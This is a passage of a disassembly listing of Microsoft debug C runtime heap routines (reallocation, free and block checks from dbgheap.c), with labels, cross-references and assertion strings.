mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_419359
mov edx, [ebp+var_8]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_419340: ; CODE XREF: sub_419300+57j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_4]
jnb short loc_419359
mov edx, [ebp+var_C]
mov byte ptr [edx], 0
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_419340
; ---------------------------------------------------------------------------
loc_419359: ; CODE XREF: sub_419300+2Fj
; sub_419300+46j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_419300 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419360 proc near ; CODE XREF: sub_4010AB+2Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_419380
add esp, 14h
pop ebp
retn
sub_419360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419380 proc near ; CODE XREF: sub_419360+11p
; sub_41D930+50p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push 9
call sub_41FB40
add esp, 4
push 1
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4193C0
add esp, 18h
mov [ebp+var_4], eax
push 9
call sub_41FBE0
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_419380 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193C0 proc near ; CODE XREF: sub_419380+24p
; sub_419900+24p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_14], 0
cmp [ebp+arg_0], 0
jnz short loc_4193F3
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_418EF0
add esp, 10h
jmp loc_4198CA
; ---------------------------------------------------------------------------
loc_4193F3: ; CODE XREF: sub_4193C0+14j
cmp [ebp+arg_14], 0
jz short loc_419416
cmp [ebp+arg_4], 0
jnz short loc_419416
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_419980
add esp, 8
xor eax, eax
jmp loc_4198CA
; ---------------------------------------------------------------------------
loc_419416: ; CODE XREF: sub_4193C0+37j
; sub_4193C0+3Dj
mov eax, dword_4510C0
and eax, 4
test eax, eax
jz short loc_419452
loc_419422: ; CODE XREF: sub_4193C0+90j
call sub_41A090
test eax, eax
jnz short loc_41944C
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 239h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41944C
int 3 ; Trap to Debugger
loc_41944C: ; CODE XREF: sub_4193C0+69j
; sub_4193C0+89j
xor ecx, ecx
test ecx, ecx
jnz short loc_419422
loc_419452: ; CODE XREF: sub_4193C0+60j
mov edx, dword_4510C4
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
cmp eax, dword_4510C8
jnz short loc_419467
int 3 ; Trap to Debugger
loc_419467: ; CODE XREF: sub_4193C0+A4j
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
push 2
call off_451490
add esp, 1Ch
test eax, eax
jnz short loc_4194EC
cmp [ebp+arg_C], 0
jz short loc_4194BF
loc_419494: ; CODE XREF: sub_4193C0+FBj
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
push offset aClientHookReAl ; "Client hook re-allocation failure at fi"...
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 1Ch
cmp eax, 1
jnz short loc_4194B7
int 3 ; Trap to Debugger
loc_4194B7: ; CODE XREF: sub_4193C0+F4j
xor eax, eax
test eax, eax
jnz short loc_419494
jmp short loc_4194E5
; ---------------------------------------------------------------------------
loc_4194BF: ; CODE XREF: sub_4193C0+D2j
; sub_4193C0+123j
push offset aClientHookRe_0 ; "Client hook re-allocation failure.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_4194DF
int 3 ; Trap to Debugger
loc_4194DF: ; CODE XREF: sub_4193C0+11Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_4194BF
loc_4194E5: ; CODE XREF: sub_4193C0+FDj
xor eax, eax
jmp loc_4198CA
; ---------------------------------------------------------------------------
loc_4194EC: ; CODE XREF: sub_4193C0+CCj
cmp [ebp+arg_4], 0FFFFFFDBh
jbe short loc_41951E
loc_4194F2: ; CODE XREF: sub_4193C0+155j
mov edx, [ebp+arg_4]
push edx
push offset aAllocationTooL ; "Allocation too large or negative: %u by"...
push 0
push 0
push 0
push 1
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_419511
int 3 ; Trap to Debugger
loc_419511: ; CODE XREF: sub_4193C0+14Ej
xor eax, eax
test eax, eax
jnz short loc_4194F2
xor eax, eax
jmp loc_4198CA
; ---------------------------------------------------------------------------
loc_41951E: ; CODE XREF: sub_4193C0+130j
cmp [ebp+arg_8], 1
jz short loc_419566
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp ecx, 4
jz short loc_419566
mov edx, [ebp+arg_8]
and edx, 0FFFFh
cmp edx, 2
jz short loc_419566
loc_419540: ; CODE XREF: sub_4193C0+1A4j
push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 1
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_419560
int 3 ; Trap to Debugger
loc_419560: ; CODE XREF: sub_4193C0+19Dj
xor eax, eax
test eax, eax
jnz short loc_419540
loc_419566: ; CODE XREF: sub_4193C0+162j
; sub_4193C0+170j ...
mov ecx, [ebp+arg_0]
push ecx
call sub_41A4F0
add esp, 4
test eax, eax
jnz short loc_419597
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 261h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419597
int 3 ; Trap to Debugger
loc_419597: ; CODE XREF: sub_4193C0+1B4j
; sub_4193C0+1D4j
xor edx, edx
test edx, edx
jnz short loc_419566
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jnz short loc_4195B6
mov [ebp+var_14], 1
loc_4195B6: ; CODE XREF: sub_4193C0+1EDj
cmp [ebp+var_14], 0
jz short loc_4195FA
loc_4195BC: ; CODE XREF: sub_4193C0+236j
mov edx, [ebp+var_8]
cmp dword ptr [edx+0Ch], 0FEDCBABCh
jnz short loc_4195D1
mov eax, [ebp+var_8]
cmp dword ptr [eax+18h], 0
jz short loc_4195F2
loc_4195D1: ; CODE XREF: sub_4193C0+206j
push offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"...
push 0
push 26Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_4195F2
int 3 ; Trap to Debugger
loc_4195F2: ; CODE XREF: sub_4193C0+20Fj
; sub_4193C0+22Fj
xor ecx, ecx
test ecx, ecx
jnz short loc_4195BC
jmp short loc_41965E
; ---------------------------------------------------------------------------
loc_4195FA: ; CODE XREF: sub_4193C0+1FAj
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jnz short loc_41961F
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp ecx, 1
jnz short loc_41961F
mov [ebp+arg_8], 2
loc_41961F: ; CODE XREF: sub_4193C0+248j
; sub_4193C0+256j ...
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp eax, ecx
jz short loc_419658
push offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
push 0
push 272h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419658
int 3 ; Trap to Debugger
loc_419658: ; CODE XREF: sub_4193C0+275j
; sub_4193C0+295j
xor edx, edx
test edx, edx
jnz short loc_41961F
loc_41965E: ; CODE XREF: sub_4193C0+238j
cmp [ebp+arg_14], 0
jz short loc_419689
mov eax, [ebp+arg_4]
add eax, 24h
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41FDD0
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_419687
xor eax, eax
jmp loc_4198CA
; ---------------------------------------------------------------------------
loc_419687: ; CODE XREF: sub_4193C0+2BEj
jmp short loc_4196AC
; ---------------------------------------------------------------------------
loc_419689: ; CODE XREF: sub_4193C0+2A2j
mov edx, [ebp+arg_4]
add edx, 24h
push edx
mov eax, [ebp+var_8]
push eax
call sub_41FD20
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4196AC
xor eax, eax
jmp loc_4198CA
; ---------------------------------------------------------------------------
loc_4196AC: ; CODE XREF: sub_4193C0:loc_419687j
; sub_4193C0+2E3j
mov ecx, dword_4510C4
add ecx, 1
mov dword_4510C4, ecx
cmp [ebp+var_14], 0
jnz short loc_419717
mov edx, [ebp+var_C]
mov eax, dword_4EF868
sub eax, [edx+10h]
mov dword_4EF868, eax
mov ecx, dword_4EF868
add ecx, [ebp+arg_4]
mov dword_4EF868, ecx
mov edx, [ebp+var_C]
mov eax, dword_4EF870
sub eax, [edx+10h]
mov dword_4EF870, eax
mov ecx, dword_4EF870
add ecx, [ebp+arg_4]
mov dword_4EF870, ecx
mov edx, dword_4EF870
cmp edx, dword_4EF874
jbe short loc_419717
mov eax, dword_4EF870
mov dword_4EF874, eax
loc_419717: ; CODE XREF: sub_4193C0+2FFj
; sub_4193C0+34Bj
mov ecx, [ebp+var_C]
add ecx, 20h
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
mov eax, [ebp+arg_4]
cmp eax, [edx+10h]
jbe short loc_41974F
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
sub edx, [ecx+10h]
push edx
xor eax, eax
mov al, byte_4510CE
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_4]
add edx, [ecx+10h]
push edx
call sub_41B190
add esp, 0Ch
loc_41974F: ; CODE XREF: sub_4193C0+369j
push 4
xor eax, eax
mov al, byte_4510CC
push eax
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
push ecx
call sub_41B190
add esp, 0Ch
cmp [ebp+var_14], 0
jnz short loc_419789
mov edx, [ebp+var_C]
mov eax, [ebp+arg_C]
mov [edx+8], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_10]
mov [ecx+0Ch], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_10]
mov [eax+18h], ecx
loc_419789: ; CODE XREF: sub_4193C0+3ACj
mov edx, [ebp+var_C]
mov eax, [ebp+arg_4]
mov [edx+10h], eax
loc_419792: ; CODE XREF: sub_4193C0+40Bj
cmp [ebp+arg_14], 0
jnz short loc_4197C7
cmp [ebp+arg_14], 0
jnz short loc_4197A6
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_8]
jz short loc_4197C7
loc_4197A6: ; CODE XREF: sub_4193C0+3DCj
push offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "...
push 0
push 2A8h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_4197C7
int 3 ; Trap to Debugger
loc_4197C7: ; CODE XREF: sub_4193C0+3D6j
; sub_4193C0+3E4j ...
xor edx, edx
test edx, edx
jnz short loc_419792
mov eax, [ebp+var_C]
cmp eax, [ebp+var_8]
jz short loc_4197DB
cmp [ebp+var_14], 0
jz short loc_4197E3
loc_4197DB: ; CODE XREF: sub_4193C0+413j
mov eax, [ebp+var_4]
jmp loc_4198CA
; ---------------------------------------------------------------------------
loc_4197E3: ; CODE XREF: sub_4193C0+419j
mov ecx, [ebp+var_C]
cmp dword ptr [ecx], 0
jz short loc_4197FB
mov edx, [ebp+var_C]
mov eax, [edx]
mov ecx, [ebp+var_C]
mov edx, [ecx+4]
mov [eax+4], edx
jmp short loc_419837
; ---------------------------------------------------------------------------
loc_4197FB: ; CODE XREF: sub_4193C0+429j
; sub_4193C0+46Aj
mov eax, dword_4EF864
cmp eax, [ebp+var_8]
jz short loc_419826
push offset a_plastblockPol ; "_pLastBlock == pOldBlock"
push 0
push 2B7h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419826
int 3 ; Trap to Debugger
loc_419826: ; CODE XREF: sub_4193C0+443j
; sub_4193C0+463j
xor ecx, ecx
test ecx, ecx
jnz short loc_4197FB
mov edx, [ebp+var_C]
mov eax, [edx+4]
mov dword_4EF864, eax
loc_419837: ; CODE XREF: sub_4193C0+439j
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+4], 0
jz short loc_41984F
mov edx, [ebp+var_C]
mov eax, [edx+4]
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov [eax], edx
jmp short loc_41988A
; ---------------------------------------------------------------------------
loc_41984F: ; CODE XREF: sub_4193C0+47Ej
; sub_4193C0+4BEj
mov eax, dword_4EF86C
cmp eax, [ebp+var_8]
jz short loc_41987A
push offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock"
push 0
push 2C2h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41987A
int 3 ; Trap to Debugger
loc_41987A: ; CODE XREF: sub_4193C0+497j
; sub_4193C0+4B7j
xor ecx, ecx
test ecx, ecx
jnz short loc_41984F
mov edx, [ebp+var_C]
mov eax, [edx]
mov dword_4EF86C, eax
loc_41988A: ; CODE XREF: sub_4193C0+48Dj
cmp dword_4EF86C, 0
jz short loc_4198A1
mov ecx, dword_4EF86C
mov edx, [ebp+var_C]
mov [ecx+4], edx
jmp short loc_4198A9
; ---------------------------------------------------------------------------
loc_4198A1: ; CODE XREF: sub_4193C0+4D1j
mov eax, [ebp+var_C]
mov dword_4EF864, eax
loc_4198A9: ; CODE XREF: sub_4193C0+4DFj
mov ecx, [ebp+var_C]
mov edx, dword_4EF86C
mov [ecx], edx
mov eax, [ebp+var_C]
mov dword ptr [eax+4], 0
mov ecx, [ebp+var_C]
mov dword_4EF86C, ecx
mov eax, [ebp+var_4]
loc_4198CA: ; CODE XREF: sub_4193C0+2Ej
; sub_4193C0+51j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4193C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_419900
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419900 proc near ; CODE XREF: .nsp0:004198F1p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push 9
call sub_41FB40
add esp, 4
push 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4193C0
add esp, 18h
mov [ebp+var_4], eax
push 9
call sub_41FBE0
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_419900 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419940 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_409F35+B7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_0]
push eax
call sub_419980
add esp, 8
pop ebp
retn
sub_419940 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_4199B0
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419980 proc near ; CODE XREF: sub_418E10+98p
; sub_4193C0+47p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 9
call sub_41FB40
add esp, 4
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4199B0
add esp, 8
push 9
call sub_41FBE0
add esp, 4
pop ebp
retn
sub_419980 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4199B0 proc near ; CODE XREF: .nsp0:00419969p
; sub_419980+15p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, dword_4510C0
and eax, 4
test eax, eax
jz short loc_4199F3
loc_4199C3: ; CODE XREF: sub_4199B0+41j
call sub_41A090
test eax, eax
jnz short loc_4199ED
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 3E1h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_4199ED
int 3 ; Trap to Debugger
loc_4199ED: ; CODE XREF: sub_4199B0+1Aj
; sub_4199B0+3Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_4199C3
loc_4199F3: ; CODE XREF: sub_4199B0+11j
cmp [ebp+arg_0], 0
jnz short loc_4199FE
jmp loc_419D95
; ---------------------------------------------------------------------------
loc_4199FE: ; CODE XREF: sub_4199B0+47j
push 0
push 0
push 0
mov edx, [ebp+arg_4]
push edx
push 0
mov eax, [ebp+arg_0]
push eax
push 3
call off_451490
add esp, 1Ch
test eax, eax
jnz short loc_419A48
loc_419A1D: ; CODE XREF: sub_4199B0+91j
push offset aClientHookFree ; "Client hook free failure.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_419A3D
int 3 ; Trap to Debugger
loc_419A3D: ; CODE XREF: sub_4199B0+8Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_419A1D
jmp loc_419D95
; ---------------------------------------------------------------------------
loc_419A48: ; CODE XREF: sub_4199B0+6Bj
; sub_4199B0+CDj
mov edx, [ebp+arg_0]
push edx
call sub_41A4F0
add esp, 4
test eax, eax
jnz short loc_419A79
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 3F3h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419A79
int 3 ; Trap to Debugger
loc_419A79: ; CODE XREF: sub_4199B0+A6j
; sub_4199B0+C6j
xor eax, eax
test eax, eax
jnz short loc_419A48
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+var_4], ecx
loc_419A88: ; CODE XREF: sub_4199B0+12Fj
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_419ADB
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 1
jz short loc_419ADB
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_419ADB
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 3
jz short loc_419ADB
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 3F9h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419ADB
int 3 ; Trap to Debugger
loc_419ADB: ; CODE XREF: sub_4199B0+E6j
; sub_4199B0+EFj ...
xor edx, edx
test edx, edx
jnz short loc_419A88
mov eax, dword_4510C0
and eax, 4
test eax, eax
jnz loc_419BB6
push 4
mov cl, byte_4510CC
push ecx
mov edx, [ebp+var_4]
add edx, 1Ch
push edx
call sub_41A000
add esp, 0Ch
test eax, eax
jnz short loc_419B50
loc_419B0D: ; CODE XREF: sub_4199B0+19Ej
mov eax, [ebp+var_4]
add eax, 20h
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_4510D0[ecx*4]
push edx
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0
push 0
push 0
push 1
call sub_41EED0
add esp, 20h
cmp eax, 1
jnz short loc_419B4A
int 3 ; Trap to Debugger
loc_419B4A: ; CODE XREF: sub_4199B0+197j
xor eax, eax
test eax, eax
jnz short loc_419B0D
loc_419B50: ; CODE XREF: sub_4199B0+15Bj
push 4
mov cl, byte_4510CC
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+10h]
mov ecx, [ebp+var_4]
lea edx, [ecx+eax+20h]
push edx
call sub_41A000
add esp, 0Ch
test eax, eax
jnz short loc_419BB6
loc_419B73: ; CODE XREF: sub_4199B0+204j
mov eax, [ebp+var_4]
add eax, 20h
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_4510D0[ecx*4]
push edx
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0
push 0
push 0
push 1
call sub_41EED0
add esp, 20h
cmp eax, 1
jnz short loc_419BB0
int 3 ; Trap to Debugger
loc_419BB0: ; CODE XREF: sub_4199B0+1FDj
xor eax, eax
test eax, eax
jnz short loc_419B73
loc_419BB6: ; CODE XREF: sub_4199B0+13Bj
; sub_4199B0+1C1j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 3
jnz short loc_419C2B
loc_419BBF: ; CODE XREF: sub_4199B0+249j
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0FEDCBABCh
jnz short loc_419BD4
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 0
jz short loc_419BF5
loc_419BD4: ; CODE XREF: sub_4199B0+219j
push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
push 0
push 40Eh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419BF5
int 3 ; Trap to Debugger
loc_419BF5: ; CODE XREF: sub_4199B0+222j
; sub_4199B0+242j
xor ecx, ecx
test ecx, ecx
jnz short loc_419BBF
mov edx, [ebp+var_4]
mov eax, [edx+10h]
add eax, 24h
push eax
xor ecx, ecx
mov cl, byte_4510CD
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41B190
add esp, 0Ch
mov eax, [ebp+var_4]
push eax
call sub_41FFC0
add esp, 4
jmp loc_419D95
; ---------------------------------------------------------------------------
loc_419C2B: ; CODE XREF: sub_4199B0+20Dj
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 2
jnz short loc_419C41
cmp [ebp+arg_4], 1
jnz short loc_419C41
mov [ebp+arg_4], 2
loc_419C41: ; CODE XREF: sub_4199B0+282j
; sub_4199B0+288j ...
mov edx, [ebp+var_4]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_419C6D
push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0
push 41Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419C6D
int 3 ; Trap to Debugger
loc_419C6D: ; CODE XREF: sub_4199B0+29Aj
; sub_4199B0+2BAj
xor ecx, ecx
test ecx, ecx
jnz short loc_419C41
mov edx, [ebp+var_4]
mov eax, dword_4EF870
sub eax, [edx+10h]
mov dword_4EF870, eax
mov ecx, dword_4510C0
and ecx, 2
test ecx, ecx
jnz loc_419D6C
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_419CAC
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [edx+4]
mov [ecx+4], eax
jmp short loc_419CEA
; ---------------------------------------------------------------------------
loc_419CAC: ; CODE XREF: sub_4199B0+2EAj
; sub_4199B0+32Cj
mov ecx, dword_4EF864
cmp ecx, [ebp+var_4]
jz short loc_419CD8
push offset a_plastblockPhe ; "_pLastBlock == pHead"
push 0
push 42Ah
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419CD8
int 3 ; Trap to Debugger
loc_419CD8: ; CODE XREF: sub_4199B0+305j
; sub_4199B0+325j
xor edx, edx
test edx, edx
jnz short loc_419CAC
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov dword_4EF864, ecx
loc_419CEA: ; CODE XREF: sub_4199B0+2FAj
mov edx, [ebp+var_4]
cmp dword ptr [edx+4], 0
jz short loc_419D02
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ecx], eax
jmp short loc_419D3F
; ---------------------------------------------------------------------------
loc_419D02: ; CODE XREF: sub_4199B0+341j
; sub_4199B0+382j
mov ecx, dword_4EF86C
cmp ecx, [ebp+var_4]
jz short loc_419D2E
push offset a_pfirstblockPh ; "_pFirstBlock == pHead"
push 0
push 434h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419D2E
int 3 ; Trap to Debugger
loc_419D2E: ; CODE XREF: sub_4199B0+35Bj
; sub_4199B0+37Bj
xor edx, edx
test edx, edx
jnz short loc_419D02
mov eax, [ebp+var_4]
mov ecx, [eax]
mov dword_4EF86C, ecx
loc_419D3F: ; CODE XREF: sub_4199B0+350j
mov edx, [ebp+var_4]
mov eax, [edx+10h]
add eax, 24h
push eax
xor ecx, ecx
mov cl, byte_4510CD
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41B190
add esp, 0Ch
mov eax, [ebp+var_4]
push eax
call sub_41FFC0
add esp, 4
jmp short loc_419D95
; ---------------------------------------------------------------------------
loc_419D6C: ; CODE XREF: sub_4199B0+2DEj
mov ecx, [ebp+var_4]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
xor ecx, ecx
mov cl, byte_4510CD
push ecx
mov edx, [ebp+var_4]
add edx, 20h
push edx
call sub_41B190
add esp, 0Ch
loc_419D95: ; CODE XREF: sub_4199B0+49j
; sub_4199B0+93j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4199B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_419DC0
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419DC0 proc near ; CODE XREF: .nsp0:00419DA9p
; sub_41D930+11p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, dword_4510C0
and eax, 4
test eax, eax
jz short loc_419E05
loc_419DD5: ; CODE XREF: sub_419DC0+43j
call sub_41A090
test eax, eax
jnz short loc_419DFF
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 47Ch
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419DFF
int 3 ; Trap to Debugger
loc_419DFF: ; CODE XREF: sub_419DC0+1Cj
; sub_419DC0+3Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_419DD5
loc_419E05: ; CODE XREF: sub_419DC0+13j
push 9
call sub_41FB40
add esp, 4
loc_419E0F: ; CODE XREF: sub_419DC0+84j
mov edx, [ebp+arg_0]
push edx
call sub_41A4F0
add esp, 4
test eax, eax
jnz short loc_419E40
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 485h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419E40
int 3 ; Trap to Debugger
loc_419E40: ; CODE XREF: sub_419DC0+5Dj
; sub_419DC0+7Dj
xor eax, eax
test eax, eax
jnz short loc_419E0F
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+var_8], ecx
